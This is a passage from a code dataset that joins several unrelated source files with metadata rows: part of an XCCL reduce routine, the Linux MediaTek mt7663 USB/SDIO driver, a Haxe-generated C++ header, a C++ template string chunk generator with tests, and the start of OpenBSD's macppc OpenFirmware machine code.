req->mem_type);
if (req->reduce_linear.step != group_rank) {
xccl_ucx_recv_nb(scratch, data_size, req->reduce_linear.step,
(xccl_ucx_team_t*)team, req->tag, &reqs[0]);
req->reduce_linear.step =
((req->reduce_linear.step + 1) % group_size);
} else {
goto completion;
}
}
} else {
if (req->reduce_linear.step == 0) {
xccl_ucx_send_nb(req->args.buffer_info.src_buffer, data_size,
req->args.root, (xccl_ucx_team_t*)team,
req->tag, &reqs[0]);
req->reduce_linear.step = 1;
}
if (XCCL_OK == xccl_ucx_testall((xccl_ucx_team_t *)team, reqs, 1)) {
goto completion;
}
}
return XCCL_OK;
completion:
/* fprintf(stderr, "Complete reduce, level %d frag %d and full coll arg\n", */
/* COLL_ID_IN_SCHEDULE(bcol_args), bcol_args->next_frag-1); */
req->complete = XCCL_OK;
if (req->reduce_linear.scratch) {
xccl_mem_component_free(req->reduce_linear.scratch, req->mem_type);
}
return XCCL_OK;
}
xccl_status_t xccl_ucx_reduce_linear_start(xccl_ucx_collreq_t *req)
{
size_t data_size = req->args.buffer_info.len;
int group_rank = req->team->params.oob.rank;
int group_size = req->team->params.oob.size;
memset(req->reduce_linear.reqs, 0, sizeof(req->reduce_linear.reqs));
req->reduce_linear.step = 0;
if (req->args.root == group_rank) {
xccl_mem_component_alloc(&req->reduce_linear.scratch,
data_size,
req->mem_type);
xccl_ucx_send_recv(req->args.buffer_info.src_buffer, data_size,
group_rank, req->tag, req->args.buffer_info.dst_buffer,
data_size, group_rank, req->tag,
(xccl_ucx_team_t *)req->team);
req->reduce_linear.step = (group_rank + 1) % group_size;
} else {
req->reduce_linear.scratch = NULL;
}
req->progress = xccl_ucx_reduce_linear_progress;
return xccl_ucx_reduce_linear_progress(req);
}
| 41.688889 | 83 | 0.554104 |
bd2939ebcbf4841a4265e162b0cfacdee11a7338 | 9,975 | c | C | drivers/net/wireless/mediatek/mt76/mt7615/usb_sdio.c | jainsakshi2395/linux | 7ccb860232bb83fb60cd6bcf5aaf0c008d903acb | [
"Linux-OpenIB"
] | null | null | null | drivers/net/wireless/mediatek/mt76/mt7615/usb_sdio.c | jainsakshi2395/linux | 7ccb860232bb83fb60cd6bcf5aaf0c008d903acb | [
"Linux-OpenIB"
] | null | null | null | drivers/net/wireless/mediatek/mt76/mt7615/usb_sdio.c | jainsakshi2395/linux | 7ccb860232bb83fb60cd6bcf5aaf0c008d903acb | [
"Linux-OpenIB"
] | null | null | null | // SPDX-License-Identifier: ISC
/* Copyright (C) 2020 MediaTek Inc.
*
* Author: Lorenzo Bianconi <lorenzo@kernel.org>
* Sean Wang <sean.wang@mediatek.com>
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/usb.h>
#include "mt7615.h"
#include "mac.h"
#include "mcu.h"
#include "regs.h"
const u32 mt7663_usb_sdio_reg_map[] = {
[MT_TOP_CFG_BASE] = 0x80020000,
[MT_HW_BASE] = 0x80000000,
[MT_DMA_SHDL_BASE] = 0x5000a000,
[MT_HIF_BASE] = 0x50000000,
[MT_CSR_BASE] = 0x40000000,
[MT_EFUSE_ADDR_BASE] = 0x78011000,
[MT_TOP_MISC_BASE] = 0x81020000,
[MT_PLE_BASE] = 0x82060000,
[MT_PSE_BASE] = 0x82068000,
[MT_PP_BASE] = 0x8206c000,
[MT_WTBL_BASE_ADDR] = 0x820e0000,
[MT_CFG_BASE] = 0x820f0000,
[MT_AGG_BASE] = 0x820f2000,
[MT_ARB_BASE] = 0x820f3000,
[MT_TMAC_BASE] = 0x820f4000,
[MT_RMAC_BASE] = 0x820f5000,
[MT_DMA_BASE] = 0x820f7000,
[MT_PF_BASE] = 0x820f8000,
[MT_WTBL_BASE_ON] = 0x820f9000,
[MT_WTBL_BASE_OFF] = 0x820f9800,
[MT_LPON_BASE] = 0x820fb000,
[MT_MIB_BASE] = 0x820fd000,
};
EXPORT_SYMBOL_GPL(mt7663_usb_sdio_reg_map);
static void
mt7663_usb_sdio_write_txwi(struct mt7615_dev *dev, struct mt76_wcid *wcid,
enum mt76_txq_id qid, struct ieee80211_sta *sta,
struct sk_buff *skb)
{
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
struct ieee80211_key_conf *key = info->control.hw_key;
__le32 *txwi;
int pid;
if (!wcid)
wcid = &dev->mt76.global_wcid;
pid = mt76_tx_status_skb_add(&dev->mt76, wcid, skb);
txwi = (__le32 *)(skb->data - MT_USB_TXD_SIZE);
memset(txwi, 0, MT_USB_TXD_SIZE);
mt7615_mac_write_txwi(dev, txwi, skb, wcid, sta, pid, key, false);
skb_push(skb, MT_USB_TXD_SIZE);
}
static int mt7663_usb_sdio_set_rates(struct mt7615_dev *dev,
struct mt7615_wtbl_rate_desc *wrd)
{
struct mt7615_rate_desc *rate = &wrd->rate;
struct mt7615_sta *sta = wrd->sta;
u32 w5, w27, addr, val;
u16 idx;
lockdep_assert_held(&dev->mt76.mutex);
if (!sta)
return -EINVAL;
if (!mt76_poll(dev, MT_WTBL_UPDATE, MT_WTBL_UPDATE_BUSY, 0, 5000))
return -ETIMEDOUT;
addr = mt7615_mac_wtbl_addr(dev, sta->wcid.idx);
w27 = mt76_rr(dev, addr + 27 * 4);
w27 &= ~MT_WTBL_W27_CC_BW_SEL;
w27 |= FIELD_PREP(MT_WTBL_W27_CC_BW_SEL, rate->bw);
w5 = mt76_rr(dev, addr + 5 * 4);
w5 &= ~(MT_WTBL_W5_BW_CAP | MT_WTBL_W5_CHANGE_BW_RATE |
MT_WTBL_W5_MPDU_OK_COUNT |
MT_WTBL_W5_MPDU_FAIL_COUNT |
MT_WTBL_W5_RATE_IDX);
w5 |= FIELD_PREP(MT_WTBL_W5_BW_CAP, rate->bw) |
FIELD_PREP(MT_WTBL_W5_CHANGE_BW_RATE,
rate->bw_idx ? rate->bw_idx - 1 : 7);
mt76_wr(dev, MT_WTBL_RIUCR0, w5);
mt76_wr(dev, MT_WTBL_RIUCR1,
FIELD_PREP(MT_WTBL_RIUCR1_RATE0, rate->probe_val) |
FIELD_PREP(MT_WTBL_RIUCR1_RATE1, rate->val[0]) |
FIELD_PREP(MT_WTBL_RIUCR1_RATE2_LO, rate->val[1]));
mt76_wr(dev, MT_WTBL_RIUCR2,
FIELD_PREP(MT_WTBL_RIUCR2_RATE2_HI, rate->val[1] >> 8) |
FIELD_PREP(MT_WTBL_RIUCR2_RATE3, rate->val[1]) |
FIELD_PREP(MT_WTBL_RIUCR2_RATE4, rate->val[2]) |
FIELD_PREP(MT_WTBL_RIUCR2_RATE5_LO, rate->val[2]));
mt76_wr(dev, MT_WTBL_RIUCR3,
FIELD_PREP(MT_WTBL_RIUCR3_RATE5_HI, rate->val[2] >> 4) |
FIELD_PREP(MT_WTBL_RIUCR3_RATE6, rate->val[3]) |
FIELD_PREP(MT_WTBL_RIUCR3_RATE7, rate->val[3]));
mt76_wr(dev, MT_WTBL_UPDATE,
FIELD_PREP(MT_WTBL_UPDATE_WLAN_IDX, sta->wcid.idx) |
MT_WTBL_UPDATE_RATE_UPDATE |
MT_WTBL_UPDATE_TX_COUNT_CLEAR);
mt76_wr(dev, addr + 27 * 4, w27);
sta->rate_probe = sta->rateset[rate->rateset].probe_rate.idx != -1;
idx = sta->vif->mt76.omac_idx;
idx = idx > HW_BSSID_MAX ? HW_BSSID_0 : idx;
addr = idx > 1 ? MT_LPON_TCR2(idx): MT_LPON_TCR0(idx);
mt76_rmw(dev, addr, MT_LPON_TCR_MODE, MT_LPON_TCR_READ); /* TSF read */
val = mt76_rr(dev, MT_LPON_UTTR0);
sta->rate_set_tsf = (val & ~BIT(0)) | rate->rateset;
if (!(sta->wcid.tx_info & MT_WCID_TX_INFO_SET))
mt76_poll(dev, MT_WTBL_UPDATE, MT_WTBL_UPDATE_BUSY, 0, 5000);
sta->rate_count = 2 * MT7615_RATE_RETRY * sta->n_rates;
sta->wcid.tx_info |= MT_WCID_TX_INFO_SET;
return 0;
}
static void mt7663_usb_sdio_rate_work(struct work_struct *work)
{
struct mt7615_wtbl_rate_desc *wrd, *wrd_next;
struct list_head wrd_list;
struct mt7615_dev *dev;
dev = (struct mt7615_dev *)container_of(work, struct mt7615_dev,
rate_work);
INIT_LIST_HEAD(&wrd_list);
spin_lock_bh(&dev->mt76.lock);
list_splice_init(&dev->wrd_head, &wrd_list);
spin_unlock_bh(&dev->mt76.lock);
list_for_each_entry_safe(wrd, wrd_next, &wrd_list, node) {
list_del(&wrd->node);
mt7615_mutex_acquire(dev);
mt7663_usb_sdio_set_rates(dev, wrd);
mt7615_mutex_release(dev);
kfree(wrd);
}
}
bool mt7663_usb_sdio_tx_status_data(struct mt76_dev *mdev, u8 *update)
{
struct mt7615_dev *dev = container_of(mdev, struct mt7615_dev, mt76);
mt7615_mutex_acquire(dev);
mt7615_mac_sta_poll(dev);
mt7615_mutex_release(dev);
return false;
}
EXPORT_SYMBOL_GPL(mt7663_usb_sdio_tx_status_data);
void mt7663_usb_sdio_tx_complete_skb(struct mt76_dev *mdev,
struct mt76_queue_entry *e)
{
unsigned int headroom = MT_USB_TXD_SIZE;
if (mt76_is_usb(mdev))
headroom += MT_USB_HDR_SIZE;
skb_pull(e->skb, headroom);
mt76_tx_complete_skb(mdev, e->wcid, e->skb);
}
EXPORT_SYMBOL_GPL(mt7663_usb_sdio_tx_complete_skb);
int mt7663_usb_sdio_tx_prepare_skb(struct mt76_dev *mdev, void *txwi_ptr,
enum mt76_txq_id qid, struct mt76_wcid *wcid,
struct ieee80211_sta *sta,
struct mt76_tx_info *tx_info)
{
struct mt7615_dev *dev = container_of(mdev, struct mt7615_dev, mt76);
struct sk_buff *skb = tx_info->skb;
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
struct mt7615_sta *msta;
int pad;
msta = wcid ? container_of(wcid, struct mt7615_sta, wcid) : NULL;
if ((info->flags & IEEE80211_TX_CTL_RATE_CTRL_PROBE) &&
msta && !msta->rate_probe) {
/* request to configure sampling rate */
spin_lock_bh(&dev->mt76.lock);
mt7615_mac_set_rates(&dev->phy, msta, &info->control.rates[0],
msta->rates);
spin_unlock_bh(&dev->mt76.lock);
}
mt7663_usb_sdio_write_txwi(dev, wcid, qid, sta, skb);
if (mt76_is_usb(mdev)) {
u32 len = skb->len;
put_unaligned_le32(len, skb_push(skb, sizeof(len)));
pad = round_up(skb->len, 4) + 4 - skb->len;
} else {
pad = round_up(skb->len, 4) - skb->len;
}
return mt76_skb_adjust_pad(skb, pad);
}
EXPORT_SYMBOL_GPL(mt7663_usb_sdio_tx_prepare_skb);
static int mt7663u_dma_sched_init(struct mt7615_dev *dev)
{
int i;
mt76_rmw(dev, MT_DMA_SHDL(MT_DMASHDL_PKT_MAX_SIZE),
MT_DMASHDL_PKT_MAX_SIZE_PLE | MT_DMASHDL_PKT_MAX_SIZE_PSE,
FIELD_PREP(MT_DMASHDL_PKT_MAX_SIZE_PLE, 1) |
FIELD_PREP(MT_DMASHDL_PKT_MAX_SIZE_PSE, 8));
/* disable refill group 5 - group 15 and raise group 2
* and 3 as high priority.
*/
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_REFILL), 0xffe00006);
mt76_clear(dev, MT_DMA_SHDL(MT_DMASHDL_PAGE), BIT(16));
for (i = 0; i < 5; i++)
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_GROUP_QUOTA(i)),
FIELD_PREP(MT_DMASHDL_GROUP_QUOTA_MIN, 0x3) |
FIELD_PREP(MT_DMASHDL_GROUP_QUOTA_MAX, 0x1ff));
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_Q_MAP(0)), 0x42104210);
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_Q_MAP(1)), 0x42104210);
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_Q_MAP(2)), 0x4444);
/* group pririority from high to low:
* 15 (cmd groups) > 4 > 3 > 2 > 1 > 0.
*/
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_SCHED_SET0), 0x6501234f);
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_SCHED_SET1), 0xedcba987);
mt76_wr(dev, MT_DMA_SHDL(MT_DMASHDL_OPTIONAL), 0x7004801c);
mt76_wr(dev, MT_UDMA_WLCFG_1,
FIELD_PREP(MT_WL_TX_TMOUT_LMT, 80000) |
FIELD_PREP(MT_WL_RX_AGG_PKT_LMT, 1));
/* setup UDMA Rx Flush */
mt76_clear(dev, MT_UDMA_WLCFG_0, MT_WL_RX_FLUSH);
/* hif reset */
mt76_set(dev, MT_HIF_RST, MT_HIF_LOGIC_RST_N);
mt76_set(dev, MT_UDMA_WLCFG_0,
MT_WL_RX_AGG_EN | MT_WL_RX_EN | MT_WL_TX_EN |
MT_WL_RX_MPSZ_PAD0 | MT_TICK_1US_EN |
MT_WL_TX_TMOUT_FUNC_EN);
mt76_rmw(dev, MT_UDMA_WLCFG_0, MT_WL_RX_AGG_LMT | MT_WL_RX_AGG_TO,
FIELD_PREP(MT_WL_RX_AGG_LMT, 32) |
FIELD_PREP(MT_WL_RX_AGG_TO, 100));
return 0;
}
static int mt7663_usb_sdio_init_hardware(struct mt7615_dev *dev)
{
int ret, idx;
ret = mt7615_eeprom_init(dev, MT_EFUSE_BASE);
if (ret < 0)
return ret;
if (mt76_is_usb(&dev->mt76)) {
ret = mt7663u_dma_sched_init(dev);
if (ret)
return ret;
}
set_bit(MT76_STATE_INITIALIZED, &dev->mphy.state);
/* Beacon and mgmt frames should occupy wcid 0 */
idx = mt76_wcid_alloc(dev->mt76.wcid_mask, MT7615_WTBL_STA - 1);
if (idx)
return -ENOSPC;
dev->mt76.global_wcid.idx = idx;
dev->mt76.global_wcid.hw_key_idx = -1;
rcu_assign_pointer(dev->mt76.wcid[idx], &dev->mt76.global_wcid);
return 0;
}
int mt7663_usb_sdio_register_device(struct mt7615_dev *dev)
{
struct ieee80211_hw *hw = mt76_hw(dev);
int err;
INIT_WORK(&dev->rate_work, mt7663_usb_sdio_rate_work);
INIT_LIST_HEAD(&dev->wrd_head);
mt7615_init_device(dev);
err = mt7663_usb_sdio_init_hardware(dev);
if (err)
return err;
hw->extra_tx_headroom += MT_USB_TXD_SIZE;
if (mt76_is_usb(&dev->mt76)) {
hw->extra_tx_headroom += MT_USB_HDR_SIZE;
/* check hw sg support in order to enable AMSDU */
if (dev->mt76.usb.sg_en)
hw->max_tx_fragments = MT_HW_TXP_MAX_BUF_NUM;
else
hw->max_tx_fragments = 1;
}
err = mt76_register_device(&dev->mt76, true, mt76_rates,
ARRAY_SIZE(mt76_rates));
if (err < 0)
return err;
if (!dev->mt76.usb.sg_en) {
struct ieee80211_sta_vht_cap *vht_cap;
/* decrease max A-MSDU size if SG is not supported */
vht_cap = &dev->mphy.sband_5g.sband.vht_cap;
vht_cap->cap &= ~IEEE80211_VHT_CAP_MAX_MPDU_LENGTH_11454;
}
ieee80211_queue_work(hw, &dev->mcu_work);
mt7615_init_txpower(dev, &dev->mphy.sband_2g.sband);
mt7615_init_txpower(dev, &dev->mphy.sband_5g.sband);
return mt7615_init_debugfs(dev);
}
EXPORT_SYMBOL_GPL(mt7663_usb_sdio_register_device);
MODULE_AUTHOR("Lorenzo Bianconi <lorenzo@kernel.org>");
MODULE_AUTHOR("Sean Wang <sean.wang@mediatek.com>");
MODULE_LICENSE("Dual BSD/GPL");
| 28.418803 | 74 | 0.734035 |
bd293d03cf2ef9eaab567beca75d96b557066d23 | 3,198 | h | C | Export/macos/obj/include/fracs/_ZeroTo2pi/ZeroTo2pi_Impl_.h | TrilateralX/TrilateralLimeTriangle | 219d8e54fc3861dc1ffeb3da25da6eda349847c1 | [
"MIT"
] | null | null | null | Export/macos/obj/include/fracs/_ZeroTo2pi/ZeroTo2pi_Impl_.h | TrilateralX/TrilateralLimeTriangle | 219d8e54fc3861dc1ffeb3da25da6eda349847c1 | [
"MIT"
] | null | null | null | Export/macos/obj/include/fracs/_ZeroTo2pi/ZeroTo2pi_Impl_.h | TrilateralX/TrilateralLimeTriangle | 219d8e54fc3861dc1ffeb3da25da6eda349847c1 | [
"MIT"
] | null | null | null | // Generated by Haxe 4.2.0-rc.1+cb30bd580
#ifndef INCLUDED_fracs__ZeroTo2pi_ZeroTo2pi_Impl_
#define INCLUDED_fracs__ZeroTo2pi_ZeroTo2pi_Impl_
#ifndef HXCPP_H
#include <hxcpp.h>
#endif
HX_DECLARE_CLASS2(fracs,_ZeroTo2pi,ZeroTo2pi_Impl_)
namespace fracs{
namespace _ZeroTo2pi{
class HXCPP_CLASS_ATTRIBUTES ZeroTo2pi_Impl__obj : public ::hx::Object
{
public:
typedef ::hx::Object super;
typedef ZeroTo2pi_Impl__obj OBJ_;
ZeroTo2pi_Impl__obj();
public:
enum { _hx_ClassId = 0x23256222 };
void __construct();
inline void *operator new(size_t inSize, bool inContainer=false,const char *inName="fracs._ZeroTo2pi.ZeroTo2pi_Impl_")
{ return ::hx::Object::operator new(inSize,inContainer,inName); }
inline void *operator new(size_t inSize, int extra)
{ return ::hx::Object::operator new(inSize+extra,false,"fracs._ZeroTo2pi.ZeroTo2pi_Impl_"); }
inline static ::hx::ObjectPtr< ZeroTo2pi_Impl__obj > __new() {
::hx::ObjectPtr< ZeroTo2pi_Impl__obj > __this = new ZeroTo2pi_Impl__obj();
__this->__construct();
return __this;
}
inline static ::hx::ObjectPtr< ZeroTo2pi_Impl__obj > __alloc(::hx::Ctx *_hx_ctx) {
ZeroTo2pi_Impl__obj *__this = (ZeroTo2pi_Impl__obj*)(::hx::Ctx::alloc(_hx_ctx, sizeof(ZeroTo2pi_Impl__obj), false, "fracs._ZeroTo2pi.ZeroTo2pi_Impl_"));
*(void **)__this = ZeroTo2pi_Impl__obj::_hx_vtable;
return __this;
}
static void * _hx_vtable;
static Dynamic __CreateEmpty();
static Dynamic __Create(::hx::DynamicArray inArgs);
//~ZeroTo2pi_Impl__obj();
HX_DO_RTTI_ALL;
static bool __GetStatic(const ::String &inString, Dynamic &outValue, ::hx::PropertyAccess inCallProp);
static void __register();
bool _hx_isInstanceOf(int inClassId);
::String __ToString() const { return HX_("ZeroTo2pi_Impl_",48,06,e5,fd); }
static Float _new(Float f);
static ::Dynamic _new_dyn();
static Float fromFloat(Float f);
static ::Dynamic fromFloat_dyn();
static Float additionPi(Float this1,Float b);
static ::Dynamic additionPi_dyn();
static Float subtractionPi(Float this1,Float b);
static ::Dynamic subtractionPi_dyn();
static Float dividePi(Float this1,Float b);
static ::Dynamic dividePi_dyn();
static Float timesPi(Float this1,Float b);
static ::Dynamic timesPi_dyn();
static Float addition(Float this1,Float b);
static ::Dynamic addition_dyn();
static Float subtraction(Float this1,Float b);
static ::Dynamic subtraction_dyn();
static Float divide(Float this1,Float b);
static ::Dynamic divide_dyn();
static Float times(Float this1,Float b);
static ::Dynamic times_dyn();
static Float get_degrees(Float this1);
static ::Dynamic get_degrees_dyn();
static Float set_degrees(Float this1,Float val);
static ::Dynamic set_degrees_dyn();
static Float fromFraction( ::Dynamic val);
static ::Dynamic fromFraction_dyn();
static ::Dynamic tofraction(Float this1);
static ::Dynamic tofraction_dyn();
static Float fromString(::String val);
static ::Dynamic fromString_dyn();
static ::String toString(Float this1);
static ::Dynamic toString_dyn();
};
} // end namespace fracs
} // end namespace _ZeroTo2pi
#endif /* INCLUDED_fracs__ZeroTo2pi_ZeroTo2pi_Impl_ */
| 29.611111 | 155 | 0.742964 |
bd2a2e164997fb5e4e78abc44bc50e58868f70f4 | 4,812 | h | C | include/!cpp/String/Tml/ChunkGen.h | bga/-cpp | 1b32acca4b5450ae98f58db89fa7a9570f4e05c1 | [
"Apache-2.0"
] | null | null | null | include/!cpp/String/Tml/ChunkGen.h | bga/-cpp | 1b32acca4b5450ae98f58db89fa7a9570f4e05c1 | [
"Apache-2.0"
] | null | null | null | include/!cpp/String/Tml/ChunkGen.h | bga/-cpp | 1b32acca4b5450ae98f58db89fa7a9570f4e05c1 | [
"Apache-2.0"
] | null | null | null | /*
Copyright 2022 Bga <bga.email@gmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#pragma once
#include <!cpp/wrapper/cstdio>
#include <!cpp/String/StringView.h>
#include <!cpp/common.h>
#include <!cpp/TestRunner.h>
#include <!cpp/debug.h>
namespace Bga { namespace String { namespace Tml {
#pragma push_macro("Self")
#undef Self
#define Self ChunkGenerator
template<class CharArg>
struct Self {
typedef CharArg Char;
typedef ::Bga::String::StringView<Char> Ret;
Char const* lastP;
Char const** keyValuePairsArray;
Char const delimiter;
Size chunkN;
Self(Char const* tml_, Char const* keyValuePairsArray_[], Char const delimiter_ = '%')
: lastP(tml_), keyValuePairsArray(keyValuePairsArray_), delimiter(delimiter_) {
this->chunkN = Size(-1);
}
Ret operator()() {
Ret ret;
ret.s = nullptr;
if(this->lastP == nullptr) {
return ret;
};
if(*this->lastP == 0) {
return ret;
};
Char const* p = this->lastP;
while(*p != 0 && *p != this->delimiter) {
p += 1;
}
if(*p == 0) {
ret.s = this->lastP;
ret.len = p - this->lastP;
this->lastP = p;
return ret;
};
this->chunkN += 1;
//# raw text chunk
if(this->chunkN % 2 == 0) {
ret.s = this->lastP;
ret.len = p - this->lastP;
this->lastP = p + 1; //# skip delimiter
return ret;
};
Char const* name = this->lastP;
Char const* nameEnd = p;
debug Debug_print("%.2s", name);
ret.s = name - 1;
ret.len = nameEnd - name + 2; //# name + delimiters around
// ret.len = 0;
//# "%%" -> "%"
if(name == nameEnd) {
ret.len = 1;
return ret;
};
Char const** kvs = this->keyValuePairsArray;
while(*kvs != nullptr) {
Char const* kv = *kvs;
while(*kv != 0) {
debug Debug_print("%.2s", kv);
Bool isMatch = true;
Char const* nameP = name;
while(*kv != 0 && nameP != nameEnd) {
if(*kv != *nameP) {
isMatch = false;
};
kv += 1;
nameP += 1;
}
isMatch = isMatch && *kv == 0 && nameP == nameEnd;
while(*kv != 0) {
kv += 1;
}
kv += 1;
Char const* vBegin = kv;
while(*kv != 0) {
kv += 1;
}
Char const* vEnd = kv;
kv += 1;
if(isMatch) {
ret.s = vBegin;
ret.len = vEnd - vBegin;
break;
};
}
kvs += 1;
}
this->lastP = p + 1; //# skip delimiter
return ret;
}
};
} } } //# namespace
#ifdef BGA__TESTRUNNER_ON
#include <!cpp/wrapper/string>
template<class CharArg>
static ::std::basic_string<CharArg> collectAllChunks(::Bga::String::Tml::Self<CharArg>&& tml) {
typename ::Bga::String::Tml::Self<CharArg>::Ret chunk;
typedef ::std::basic_string<CharArg> Ret;
Ret ret("");
for(;;) {
chunk = tml();
if(chunk.s == nullptr) {
break;
};
ret += Ret(chunk.s, chunk.len);
}
return ret;
}
example(BGA__STR(Self)) {
typedef ::Bga::String::Tml::Self<char> Self;
// typedef typename Self::Ret Tml_Ret;
#define BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ(tmlArg, expectedValueArg, varDataArg...) if(1) { char const* varData[] = varDataArg; assert_eq(collectAllChunks(Self(tmlArg, varData)), ::std::basic_string<char>(expectedValueArg)); }
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("", "", { nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("abc", "abc", { nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%var%", "value", { "var\0value\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%var%", "value1", { "var\0value1\0var\0value2\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%foo%%com%", "barbaz", { "foo\0bar\0\0", "com\0baz\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%foo%+%com%", "bar+baz", { "foo\0bar\0\0", "com\0baz\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("_%var%", "_value", { "var\0value\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%var%_", "value_", { "var\0value\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%var_%", "%var_%", { "var\0value\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%va%", "%va%", { "var\0value\0\0", nullptr });
BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ("%%", "%", { "var\0value\0\0", nullptr });
#undef BGA__STRING__TML__CHUNK_GEN__TEST__ASSERT_EQ
}
#endif
#undef Self
| 25.73262 | 238 | 0.639651 |
bd2aceb1852ac741a28e65e0842ede44ad916cff | 15,427 | c | C | openbsd/sys/arch/macppc/macppc/ofw_machdep.c | shisa/kame-shisa | 25dfcf220c0cd8192e475a602501206ccbd9263e | [
"BSD-3-Clause"
] | 1 | 2019-10-15T06:29:32.000Z | 2019-10-15T06:29:32.000Z | openbsd/sys/arch/macppc/macppc/ofw_machdep.c | shisa/kame-shisa | 25dfcf220c0cd8192e475a602501206ccbd9263e | [
"BSD-3-Clause"
] | null | null | null | openbsd/sys/arch/macppc/macppc/ofw_machdep.c | shisa/kame-shisa | 25dfcf220c0cd8192e475a602501206ccbd9263e | [
"BSD-3-Clause"
] | 3 | 2017-01-09T02:15:36.000Z | 2019-10-15T06:30:25.000Z | /* $OpenBSD: ofw_machdep.c,v 1.24 2004/03/17 15:47:59 drahn Exp $ */
/* $NetBSD: ofw_machdep.c,v 1.1 1996/09/30 16:34:50 ws Exp $ */
/*
* Copyright (C) 1996 Wolfgang Solfrank.
* Copyright (C) 1996 TooLs GmbH.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by TooLs GmbH.
* 4. The name of TooLs GmbH may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY TOOLS GMBH ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL TOOLS GMBH BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <sys/param.h>
#include <sys/buf.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/disk.h>
#include <sys/disklabel.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <sys/malloc.h>
#include <sys/stat.h>
#include <sys/systm.h>
#include <uvm/uvm_extern.h>
#include <machine/powerpc.h>
#include <machine/autoconf.h>
#include <dev/ofw/openfirm.h>
#include <macppc/macppc/ofw_machdep.h>
#include <ukbd.h>
#include <akbd.h>
#include <zstty.h>
#include <dev/usb/ukbdvar.h>
#include <macppc/dev/akbdvar.h>
/* XXX, called from asm */
int save_ofw_mapping(void);
int restore_ofw_mapping(void);
void OF_exit(void) __attribute__((__noreturn__));
void OF_boot(char *bootspec) __attribute__((__noreturn__));
void ofw_mem_regions(struct mem_region **memp, struct mem_region **availp);
void ofw_vmon(void);
struct firmware ofw_firmware = {
ofw_mem_regions,
OF_exit,
OF_boot,
ofw_vmon
#ifdef FW_HAS_PUTC
ofwcnputc;
#endif
};
#define OFMEM_REGIONS 32
static struct mem_region OFmem[OFMEM_REGIONS + 1], OFavail[OFMEM_REGIONS + 3];
/*
* This is called during initppc, before the system is really initialized.
* It shall provide the total and the available regions of RAM.
* Both lists must have a zero-size entry as terminator.
* The available regions need not take the kernel into account, but needs
* to provide space for two additional entry beyond the terminating one.
*/
void
ofw_mem_regions(struct mem_region **memp, struct mem_region **availp)
{
int phandle;
/*
* Get memory.
*/
if ((phandle = OF_finddevice("/memory")) == -1
|| OF_getprop(phandle, "reg",
OFmem, sizeof OFmem[0] * OFMEM_REGIONS) <= 0
|| OF_getprop(phandle, "available",
OFavail, sizeof OFavail[0] * OFMEM_REGIONS) <= 0)
panic("no memory?");
*memp = OFmem;
/* HACK */
if (OFmem[0].size == 0) {
*memp = OFavail;
}
*availp = OFavail;
}
typedef void (fwcall_f)(int, int);
extern fwcall_f *fwcall;
fwcall_f fwentry;
extern u_int32_t ofmsr;
void
ofw_vmon()
{
fwcall = &fwentry;
}
int OF_stdout;
int OF_stdin;
/* code to save and create the necessary mappings for BSD to handle
* the vm-setup for OpenFirmware
*/
static int N_mapping;
static struct {
vm_offset_t va;
int len;
vm_offset_t pa;
int mode;
} ofw_mapping[256];
int
save_ofw_mapping()
{
int mmui, mmu;
int chosen;
int stdout, stdin;
if ((chosen = OF_finddevice("/chosen")) == -1) {
return 0;
